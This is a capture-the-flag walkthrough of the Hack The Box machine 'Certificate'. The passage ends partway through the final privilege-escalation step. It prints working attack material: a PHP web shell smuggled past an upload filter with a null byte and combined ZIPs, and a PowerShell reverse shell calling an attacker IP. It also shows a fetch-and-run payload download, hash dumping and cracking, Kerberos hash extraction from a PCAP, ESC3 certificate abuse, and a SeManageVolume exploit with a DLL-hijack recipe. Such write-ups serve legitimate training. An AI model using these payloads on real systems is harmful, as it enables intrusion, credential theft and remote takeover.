Certificate - HackTheBox
Certificate - With a twist
Certificate starts off with a web app where I can create an account and upload zip files. I’ll upload a PHP web shell with a null byte to bypass the filter and obtain a shell on the box as xamppuser
. While examining the MySQL databases, I can find a hash for the user Sara.B
, crack it, and connect via WinRM as this user. In Sara.B’s Documents directory, I can find a PCAP file along with a text file explaining its contents. It contains credentials for another user. I extract the Kerberos requests from the PCAP, crack the hash, and obtain the password for user Lion.K
. From there, I’ll abuse ESC3
and gain access as Ryan.K
, who has the SeManageVolumePrivilege. I’ll then abuse this privilege to forge the administrator’s certificate and gain access to the domain controller as Administrator.
Recon
Nmap
As always, I’ll start off with Nmap to check for any unusual open ports.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
➜ Certificate scan -oN scanned 10.10.11.71
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-25 14:12 UTC
Nmap scan report for 10.10.11.71
Host is up (0.11s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
|_http-title: Did not follow redirect to http://certificate.htb/
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-25 21:46:15Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2025-09-25T11:24:50
|_Not valid after: 2026-09-25T11:24:50
|_ssl-date: 2025-09-25T21:47:47+00:00; +7h33m39s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2025-09-25T11:24:50
|_Not valid after: 2026-09-25T11:24:50
|_ssl-date: 2025-09-25T21:47:47+00:00; +7h33m39s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-25T21:47:47+00:00; +7h33m39s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2025-09-25T11:24:50
|_Not valid after: 2026-09-25T11:24:50
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-25T21:47:47+00:00; +7h33m39s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2025-09-25T11:24:50
|_Not valid after: 2026-09-25T11:24:50
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-09-25T21:47:06
|_ start_date: N/A
|_clock-skew: mean: 7h33m39s, deviation: 0s, median: 7h33m38s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.94 seconds
Interestingly port 80 is open and it’s running LDAPS. Other then that, it’s just another normal DC.
Going to 10.10.11.71
redirects to certificate.htb
.
I’ll generate the hosts file with nxc.
1
2
3
4
5
➜ Certificate nxc smb 10.10.11.71 --generate-hosts-file hostz
SMB 10.10.11.71 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certificate.htb) (signing:True) (SMBv1:False) (Null Auth:True)
➜ Certificate cat hostz | sudo tee -a /etc/hosts
[sudo] password for simon:
10.10.11.71 DC01.certificate.htb certificate.htb DC01
SMB
I’ll check SMB to see if guest access is enabled, but it is not.
1
2
3
➜ Certificate nxc smb 10.10.11.71 -u 'guest' -p ''
SMB 10.10.11.71 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certificate.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.10.11.71 445 DC01 [-] certificate.htb\guest: STATUS_ACCOUNT_DISABLED
Port 80 / Website
TechStack
1
2
3
4
5
6
7
8
9
10
➜ Certificate curl -I http://certificate.htb/
HTTP/1.1 200 OK
Date: Thu, 25 Sep 2025 21:51:37 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
X-Powered-By: PHP/8.0.30
Set-Cookie: PHPSESSID=a5cu6j9of6l5im6lojb2mdmi2k; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
The PHPSESSID
indicates that it’s a PHP site, and since it’s marked HttpOnly
, exploiting XSS directly is not feasible.
PHP Version
1
2
3
4
5
6
7
8
9
10
➜ Certificate curl 10.10.11.71
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://certificate.htb/">here</a>.</p>
<hr>
<address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 10.10.11.71 Port 80</address>
</body></html>
There is not much on the home page, but a register button is visible.
On the registration page, I can sign up as a teacher.
Shell as xamppuser
Looking around the webapp, there is a quiz submission page that allows me to submit the following types of files in a ZIP.
- Please select the assignment file you want to upload (the file will be reviewed by the course instructor)
- We accept only the following file types:
.pdf
.docx
.pptx
.xlsx
- You include the assignment file in
.zip
archive file to reduce it’s sizehttp://certificate.htb/upload.php?s_id=ID
Knowing it’s a PHP
webapp, I tried uploading .php
files, but it didn’t work. I received:
1
2
3
400 Bad Request
The request you sent contains bad or malicious content (Invalid MIME type).
Changing the extension to .php.pdf
triggers:
1
2
3
400 Bad Request
The request you sent contains bad or malicious content (Invalid Extension).
nullbyte
Using %00
worked, so I’ll create a shell.php
and a Python script to generate a ZIP containing it.
shell.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
echo("<pre>");
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
if (isset($_GET['cmd'])) {
echo(shell_exec($_GET['cmd']));
}
echo("</pre>");
?>
genzip.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
import io
import zipfile
data = b"%PDF-1.7\n%DUMMY\n" + open("shell.php", "rb").read()
zip = zipfile.ZipFile("shell.zip", "w")
zip.writestr("shell.php\x00.pdf", data)
zip.close()
zip = zipfile.ZipFile("shell.zip", "r")
info = zip.infolist()[0]
data = zip.read(info.filename)
info.filename += "\x00.pdf"
zip.close()
zip = zipfile.ZipFile("shell.zip", "w")
zip.writestr(info, data)
zip.close()
The ZIP file has now been generated, I’ll submit it in the quiz.
1
2
3
➜ Certificate python3 genzip.py
➜ Certificate ls
genzip.py hostz scanned shell.php shell.zip
I’ll upload this zip file onto the website. The shell is available at this endpoint.
http://certificate.htb/static/uploads/3d5dfb6bb35fa5aac68ce740f272b777/shell.php
Running whoami
does not return a result, but executing dir
returns output.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜ Certificate curl http://certificate.htb/static/uploads/3d5dfb6bb35fa5aac68ce740f272b777/shell.php?cmd=dir
%PDF-1.7 %DUMMY
Volume in drive C has no label.
Volume Serial Number is 7E12-22F9
Directory of C:\xampp\htdocs\certificate.htb\static\uploads\3d5dfb6bb35fa5aac68ce740f272b777
09/25/2025 05:13 PM
.
09/25/2025 05:13 PM
..
09/25/2025 04:12 PM 218 shell.php
1 File(s) 218 bytes
2 Dir(s) 4,378,550,272 bytes free
First, I’ll create a temp
folder and place my shell in it, ensuring the command is URL-encoded.
1
2
3
4
5
6
➜ Certificate curl "http://certificate.htb/static/uploads/3d5dfb6bb35fa5aac68ce740f272b777/shell.php?cmd=mkdir+C:\temp"
➜ Certificate curl "http://certificate.htb/static/uploads/3d5dfb6bb35fa5aac68ce740f272b777/shell.php?cmd=curl+http://10.10.14.203/csh.exe+-o+C%3A%5Ctemp%5Ccsh_10.10.14.203_9001.exe"
➜ Certificate curl "http://certificate.htb/static/uploads/3d5dfb6bb35fa5aac68ce740f272b777/shell.php?cmd=C:\temp\csh_10.10.14.203_9001.exe"
# Python webserver
10.10.11.71 - - [25/Sep/2025 16:33:28] "GET /csh.exe HTTP/1.1" 200 -
On the other hand, I have a shell as xamppuser
.
1
2
3
4
5
6
7
8
9
10
11
➜ ~ rlwrap ncat -nvlp 9001
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.11.71:57113.
Microsoft Windows [Version 10.0.17763.6532]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\certificate.htb\static\uploads\3d5dfb6bb35fa5aac68ce740f272b777>whoami
whoami
certificate\xamppuser
Combined Zip
There is another way to get a shell: I’ll create a legitimate DOCX file, zip it, then create a second ZIP with the shell, and finally combine them.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜ Certificate zip benign.zip legit.docx
adding: legit.docx (deflated 15%)
➜ Certificate mkdir malicious; cd malicious
➜ Certificate vim shell.php
<?php
shell_exec("powershell -nop -w hidden -c \"\$client = New-Object System.Net.Sockets.TCPClient('10.10.14.4',9001); \$stream = \$client.GetStream(); [byte[]]\$bytes = 0..65535|%{0}; while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){; \$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0,\$i); \$sendback = (iex \$data 2>&1 | Out-String ); \$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> '; \$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2); \$stream.Write(\$sendbyte,0,\$sendbyte.Length); \$stream.Flush()}; \$client.Close()\"");
?>
➜ Certificate cd .. ; zip -r malicious.zip malicious
adding: malicious/ (stored 0%)
adding: malicious/shell.php (deflated 38%)
➜ Certificate cat benign.zip malicious.zip > combined.zip
I can now simply curl the endpoint to obtain a shell.
1
➜ Certificate curl http://certificate.htb/static/uploads/3d5dfb6bb35fa5aac68ce740f272b777/shell.php
1
2
3
4
5
6
➜ ~ rlwrap ncat -nvlp 9001
<SNIP>
(c) 2018 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\certificate.htb\static\uploads\3d5dfb6bb35fa5aac68ce740f272b777>whoami
certificate\xamppuser
Shell as Sara.B
DB Enum
There are many other avenues to explore, but since the webapp is running on a XAMPP stack, there is likely a database present, which is common on HTB.
On Windows, mysql.exe
is located at:
1
C:\xampp\mysql\bin\mysql.exe
I’ll enumerate the MySQL databases to see if anything interesting is there:
1
2
3
4
5
PS C:\Users\xamppuser> & "C:\xampp\mysql\bin\mysql.exe" -u root -D certificate_webapp_db -e "show tables;"
Tables_in_certificate_webapp_db
course_sessions
courses
users
None of the tables seem interesting except users
, so I’ll examine its contents.
1
2
3
4
5
6
7
8
9
10
11
PS C:\Users\xamppuser> & "C:\xampp\mysql\bin\mysql.exe" -u root -D certificate_webapp_db -e "SELECT * FROM users;"
id first_name last_name username email password created_at role is_active
1 Lorra Armessa Lorra.AAA [email protected] $2y$04$bZs2FUjVRiFswY84CUR8ve02ymuiy0QD23XOKFuT6IM2sBbgQvEFG 2024-12-23 12:43:10 teacher 1
6 Sara Laracrof Sara1200 [email protected] $2y$04$pgTOAkSnYMQoILmL6MRXLOOfFlZUPR4lAD2kvWZj.i/dyvXNSqCkK 2024-12-23 12:47:11 teacher 1
7 John Wood Johney [email protected] $2y$04$VaUEcSd6p5NnpgwnHyh8zey13zo/hL7jfQd9U.PGyEW3yqBf.IxRq 2024-12-23 13:18:18 student 1
8 Havok Watterson havokww [email protected] $2y$04$XSXoFSfcMoS5Zp8ojTeUSOj6ENEun6oWM93mvRQgvaBufba5I5nti 2024-12-24 09:08:04 teacher 1
9 Steven Roman stev [email protected] $2y$04$6FHP.7xTHRGYRI9kRIo7deUHz0LX.vx2ixwv0cOW6TDtRGgOhRFX2 2024-12-24 12:05:05 student 1
10 Sara Brawn sara.b [email protected] $2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6 2024-12-25 21:31:26 admin 1
12 linda linda linda [email protected] $2y$04$TgcJx9.gP8tBrsb59ifWb.ziqVakAqIyfwcRjZdslJz57vAq.6G1q 2025-09-25 11:16:47 student 1
13 a a a [email protected] $2y$04$2m7nLs0cKf/wAFr2Nf2wm.Iq1HwH1X8ZHqeXyjEk9AHIAw5RPkucS 2025-09-25 16:37:08 student 1
PS C:\Users\xamppuser>
From the output, only sara.b
stands out, as she has the admin
role and her email ends with certificate.htb
. I’ll take the hash and crack it using Hashcat.
1
2
3
4
5
6
➜ Certificate cat sarab.hash
sara.b:$2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6
➜ Certificate hashcat -a 0 -m 3200 --username sarab.hash /usr/share/wordlists/rockyou.txt
<SNIP>
$2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6:Blink182
<SNIP>
The credentials are valid, and Sara.B
can WinRM into the box.
1
2
3
4
5
6
7
➜ Certificate nxc smb certificate.htb -u Sara.B -p Blink182
[*] Adding missing option 'check_guest_account' in config section 'nxc' to nxc.conf
SMB 10.10.11.71 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certificate.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.10.11.71 445 DC01 [+] certificate.htb\Sara.B:Blink182
➜ Certificate nxc winrm certificate.htb -u Sara.B -p Blink182
WINRM 10.10.11.71 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certificate.htb)
WINRM 10.10.11.71 5985 DC01 [+] certificate.htb\Sara.B:Blink182 (Pwn3d!)
Unfortunately, Sara.B
does not have the user.txt
file.
1
2
3
4
5
6
7
8
9
10
➜ Certificate evil-winrm -i 10.10.11.71 -u Sara.B -p 'Blink182'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Sara.B\Documents> ls ..\Desktop
Shell as Lion.K
In the Documents
folder of Sara.B
, there is another folder named WS-01
that contains a PCAP and a text file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
*Evil-WinRM* PS C:\Users\Sara.B\Documents> dir
Directory: C:\Users\Sara.B\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/4/2024 12:53 AM WS-01
*Evil-WinRM* PS C:\Users\Sara.B\Documents> dir WS-01
Directory: C:\Users\Sara.B\Documents\WS-01
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/4/2024 12:44 AM 530 Description.txt
-a---- 11/4/2024 12:45 AM 296660 WS-01_PktMon.pcap
The PCAP
appears to be from a host, and the Description.txt
helps clarify what the PCAP is about.
1
2
3
4
*Evil-WinRM* PS C:\Users\Sara.B\Documents> type WS-01\Description.txt
The workstation 01 is not able to open the "Reports" smb shared folder which is hosted on DC01.
When a user tries to input bad credentials, it returns bad credentials error.
But when a user provides valid credentials the file explorer freezes and then crashes!
From the description, I can assume that the host WS-01
is either not configured properly with DNS or there is another underlying issue. Since it mentions that users enter “valid” credentials and Explorer freezes, the PCAP likely contains some Kerberos requests.
I’ll transfer WS-01_PktMon.pcap
to my host for analysis.
1
2
3
4
*Evil-WinRM* PS C:\Users\Sara.B\Documents\WS-01> download WS-01_PktMon.pcap
Info: Downloading C:\Users\Sara.B\Documents\WS-01\WS-01_PktMon.pcap to WS-01_PktMon.pcap
/var/lib/gems/3.1.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset...
I’m encountering errors, so I’ll install uploadserver
for Python and transfer the file using an alternative method.
1
2
3
4
5
6
7
8
9
# Machine
*Evil-WinRM* PS C:\Users\Sara.B\Documents\WS-01> curl.exe -X POST -F "files=@WS-01_PktMon.pcap" http://10.10.14.203:8000/upload
# Local
➜ Certificate pip install uploadserver
➜ Certificate python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.71 - - [25/Sep/2025 17:43:19] [Uploaded] "WS-01_PktMon.pcap" --> /home/simon/HTB/Hard/Certificate/WS-01_PktMon.pcap
Running strings
on the PCAP reveals that user Lion.K
is attempting to access the Reports
SMB share.
1
2
3
4
➜ Certificate strings WS-01_PktMon.pcap | grep CERTIFICATE
<SNIP>
CERTIFICATE.HTBLion.SK
<SNIP>
The PCAP
file contains TGS
and ASREQ
requests for Lion.K
. I am specifically interested in the ASREQ
, as it essentially contains the password, which I can attempt to crack. I can parse these requests using this Python script.
1
2
3
4
5
6
7
8
9
➜ Certificate wget https://github.com/jalvarezz13/Krb5RoastParser/raw/refs/heads/main/krb5_roast_parser.py -O parser.py
➜ Certificate sudo apt install tshark
➜ Certificate uv run parser.py
Usage: python roasting.py <pcap_file> <as_req/as_rep/tgs_rep>
➜ Certificate python3 parser.py WS-01_PktMon.pcap as_req
$krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0
➜ Certificate python3 parser.py WS-01_PktMon.pcap tgs_rep
$krb5tgs$23$*Lion.SK$CERTIFICATE.HTB$<SNIP>
$krb5tgs$23$*Lion.SK$CERTIFICATE.HTB$krbtgt/CERTIFICATE.HTB*<SNIP>
You might see
CERTIFCATE
in the hash rather thanCERTIFICATE.HTB
; make sure to correct it before cracking the hash.
Next, I’ll need to crack the ASREQ
hash to discover the password for the Lion.SK
user.
1
2
3
4
➜ Certificate hashcat LionSK.hash /usr/share/wordlists/rockyou.txt
<SNIP>
$krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0:!QAZ2wsx
<SNIP>
The credentials are valid for Lion.SK
, and I can WinRM into the system as this user.
1
2
3
➜ Certificate nxc winrm certificate.htb -u Lion.SK -p '!QAZ2wsx'
WINRM 10.10.11.71 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certificate.htb)
WINRM 10.10.11.71 5985 DC01 [+] certificate.htb\Lion.SK:!QAZ2wsx (Pwn3d!)
Lion.SK
has the user.txt
file, which I can quickly grab using nxc
.
1
2
3
4
5
➜ Certificate nxc winrm certificate.htb -u Lion.SK -p '!QAZ2wsx' -X "type C:\Users\*\Desktop\*.txt"
WINRM 10.10.11.71 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certificate.htb)
WINRM 10.10.11.71 5985 DC01 [+] certificate.htb\Lion.SK:!QAZ2wsx (Pwn3d!)
WINRM 10.10.11.71 5985 DC01 [+] Executed command (shell type: powershell)
WINRM 10.10.11.71 5985 DC01 2ad7e83dc03d08c33fd8d9b0318aa65b
Auth as Ryan.K
Initially, when I worked on the box, I enjoyed pure Windows exploitation until I reached the AD part. The name of the box confused me at first, but it was enough of a hint. I ran Certipy, discovered
ESC3
, and abused it to obtainRyan.K
.
At this point, one might give up, but the name of the box, “Certificate,” is a clear hint. I’ll run Certipy.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
➜ Certificate certipy find -vulnerable -dc-ip 10.10.11.71 -u '[email protected]' -p '!QAZ2wsx' -stdout
Certipy v5.0.3 - by Oliver Lyak (ly4k)
<SNIP>
0
Template Name : Delegated-CRA
Display Name : Delegated-CRA
Certificate Authorities : Certificate-LTD-CA
Enabled : True
Client Authentication : False
Enrollment Agent : True
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
SubjectAltRequireEmail
SubjectRequireEmail
SubjectRequireDirectoryPath
Enrollment Flag : IncludeSymmetricAlgorithms
PublishToDs
AutoEnrollment
Private Key Flag : ExportableKey
Extended Key Usage : Certificate Request Agent
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-11-05T19:52:09+00:00
Template Last Modified : 2024-11-05T19:52:10+00:00
Permissions
Enrollment Permissions
Enrollment Rights : CERTIFICATE.HTB\Domain CRA Managers
CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
Object Control Permissions
Owner : CERTIFICATE.HTB\Administrator
Full Control Principals : CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
Write Owner Principals : CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
Write Dacl Principals : CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
Write Property Enroll : CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
[+] User Enrollable Principals : CERTIFICATE.HTB\Domain CRA Managers
[!] Vulnerabilities
ESC3 : Template has Certificate Request Agent EKU set.
DC is vulnerable to ESC3
.
Following the example commands from the wiki, I’ll first request a certificate for Lion.SK
using the Delegated-CRA
template, then request a certificate on behalf of Ryan.K
the group memeber of Lion.SK
.
I received a
NETBIOS
error, but re-running the command resolves it.
I’ll request certificate for Lion.sk
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
➜ Certificate certipy req \
-u 'Lion.SK' -p '!QAZ2wsx' \
-dc-ip 10.129.232.96 \
-target certificate.htb \
-ca 'Certificate-LTD-CA' \
-template 'Delegated-CRA'
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The resolution lifetime expired after 5.404 seconds: Server Do53:10.129.232.96@53 answered The DNS operation timed out.; Server Do53:10.129.232.96@53 answered The DNS operation timed out.; Server Do53:10.129.232.96@53 answered The DNS operation timed out.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 24
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID is 'S-1-5-21-515537669-4223687196-3249690583-1115'
[*] Saving certificate and private key to 'lion.sk.pfx'
[*] Wrote certificate and private key to 'lion.sk.pfx'
There were some errors, but I successfully obtained the certificate.
Next, I’ll request a certificate on behalf of Ryan.K
(Ryan
is in same group as Lion
!).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜ Certificate certipy req \
-u 'Lion.SK' -p '!QAZ2wsx' \
-dc-ip 10.129.232.96 \
-target certificate.htb \
-ca 'Certificate-LTD-CA' \
-template 'SignedUser' \
-on-behalf-of 'certificate\ryan.k' \
-pfx lion.sk.pfx
Certipy v5.0.3 - by Oliver Lyak (ly4k)
<SNIP>
[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID is 'S-1-5-21-515537669-4223687196-3249690583-1117'
[*] Saving certificate and private key to 'ryan.k.pfx'
[*] Wrote certificate and private key to 'ryan.k.pfx'
I can now request a TGT and obtain the NT hash for Ryan.K
.
Ryan.K has access to WinRM.
1
2
3
➜ Certificate nxc winrm 10.10.11.71 -u ryan.k -H b1bc3d70e70f4f36b1509a65ae1a2ae6
WINRM 10.10.11.71 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certificate.htb)
WINRM 10.10.11.71 5985 DC01 [+] certificate.htb\ryan.k:b1bc3d70e70f4f36b1509a65ae1a2ae6 (Pwn3d!)
Shell as Administrator
Earlier, as the Lion.SK
user, I looked at Ryan.K
and saw that they are a member of Domain Storage Managers
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
➜ Certificate nxc winrm certificate.htb -u Lion.SK -p '!QAZ2wsx' -X "net user Ryan.K"
WINRM 10.10.11.71 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certificate.htb)
WINRM 10.10.11.71 5985 DC01 [+] certificate.htb\Lion.SK:!QAZ2wsx (Pwn3d!)
WINRM 10.10.11.71 5985 DC01 [+] Executed command (shell type: powershell)
WINRM 10.10.11.71 5985 DC01 User name Ryan.K
WINRM 10.10.11.71 5985 DC01 Full Name Ryan Kareem
WINRM 10.10.11.71 5985 DC01 Comment
WINRM 10.10.11.71 5985 DC01 User's comment
WINRM 10.10.11.71 5985 DC01 Country/region code 000 (System Default)
WINRM 10.10.11.71 5985 DC01 Account active Yes
WINRM 10.10.11.71 5985 DC01 Account expires Never
WINRM 10.10.11.71 5985 DC01
WINRM 10.10.11.71 5985 DC01 Password last set 11/3/2024 7:57:30 PM
WINRM 10.10.11.71 5985 DC01 Password expires Never
WINRM 10.10.11.71 5985 DC01 Password changeable 11/4/2024 7:57:30 PM
WINRM 10.10.11.71 5985 DC01 Password required Yes
WINRM 10.10.11.71 5985 DC01 User may change password Yes
WINRM 10.10.11.71 5985 DC01
WINRM 10.10.11.71 5985 DC01 Workstations allowed All
WINRM 10.10.11.71 5985 DC01 Logon script
WINRM 10.10.11.71 5985 DC01 User profile
WINRM 10.10.11.71 5985 DC01 Home directory
WINRM 10.10.11.71 5985 DC01 Last logon 11/26/2024 7:48:21 PM
WINRM 10.10.11.71 5985 DC01
WINRM 10.10.11.71 5985 DC01 Logon hours allowed All
WINRM 10.10.11.71 5985 DC01
WINRM 10.10.11.71 5985 DC01 Local Group Memberships *Remote Management Use
WINRM 10.10.11.71 5985 DC01 Global Group memberships *Domain Users *Domain Storage Manage
WINRM 10.10.11.71 5985 DC01 The command completed successfully.
Looking on the privileges of Ryan.K
, user has SeManageVolumePrivilege
Which I exploited another Box from VulnLab.
1
2
3
4
5
6
7
8
9
10
11
evil-winrm-py PS C:\Users\Ryan.K\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ================================ =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeManageVolume
This exploit grants full permission on C:\ drive for all users on the machine.
- Enables the privilege in the token
Creates handle to .\C: with SYNCHRONIZE FILE_TRAVERSE - Sends the FSCTL_SD_GLOBAL_CHANGE to replace S-1-5-32-544 with S-1-5-32-545
Overwriting “Printconfig.dll” for SYSTEM Shell Access
The capacity to create a file under user control within protected directories opens up a multitude of possibilities for privilege escalation. One of the relatively straightforward techniques involves replacing the “Printconfig.dll” file situated at “C:\Windows\System32\spool\drivers\x64\3” with a malicious DLL. By initiating the PrintNotify object, the service will load our nefarious PrintConfig.dll, thereby granting us a privileged SYSTEM shell.
Proof of Concept:
- Generate a custom DLL and locate it at C:\Windows\System32\spool\drivers\x64\3\Printconfig.dll.
- Initiate the PrintNotify object by executing the following PowerShell commands:
1 2 $type = [Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}") $object = [Activator]::CreateInstance($type)
- Attain a system shell access.
Credits :
I can exploit it using SeManageVolumeAbuse from xct, but it requires compilation.
I noticed that CsEnox
has bit similar PoC in C, already compiled. I’ll download it and transfer it onto the box.
1
➜ Certificate wget https://github.com/CsEnox/SeManageVolumeExploit/releases/download/public/SeManageVolumeExploit.exe -O SMVA.exe
Evil-WinRM
was quiet slow for me, so I switched to evil-winrm-py
.
1
2
3
evil-winrm-py PS C:\Users\Ryan.K\Documents> upload SMVA.exe .
Uploading /home/simon/HTB/Hard/Certificate/SMVA.exe: 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 12.0k/12.0k [00:01<00:00, 10.5kB/s]
[+] File uploaded successfully as: C:\Users\Ryan.K\Documents\SMVA.exe
Running it says “DONE.” Now BUILTIN\Users
have modify (M) permissions, which allows them to read, write, and delete files within that folder if they inherit permissions.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
evil-winrm-py PS C:\Users\Ryan.K\Documents> icacls C:\Windows
C:\Windows NT SERVICE\TrustedInstaller:(F)
NT SERVICE\TrustedInstaller:(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(M)
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
BUILTIN\Users:(M)
BUILTIN\Users:(OI)(CI)(IO)(F)
BUILTIN\Pre-Windows 2000 Compatible Access:(RX)
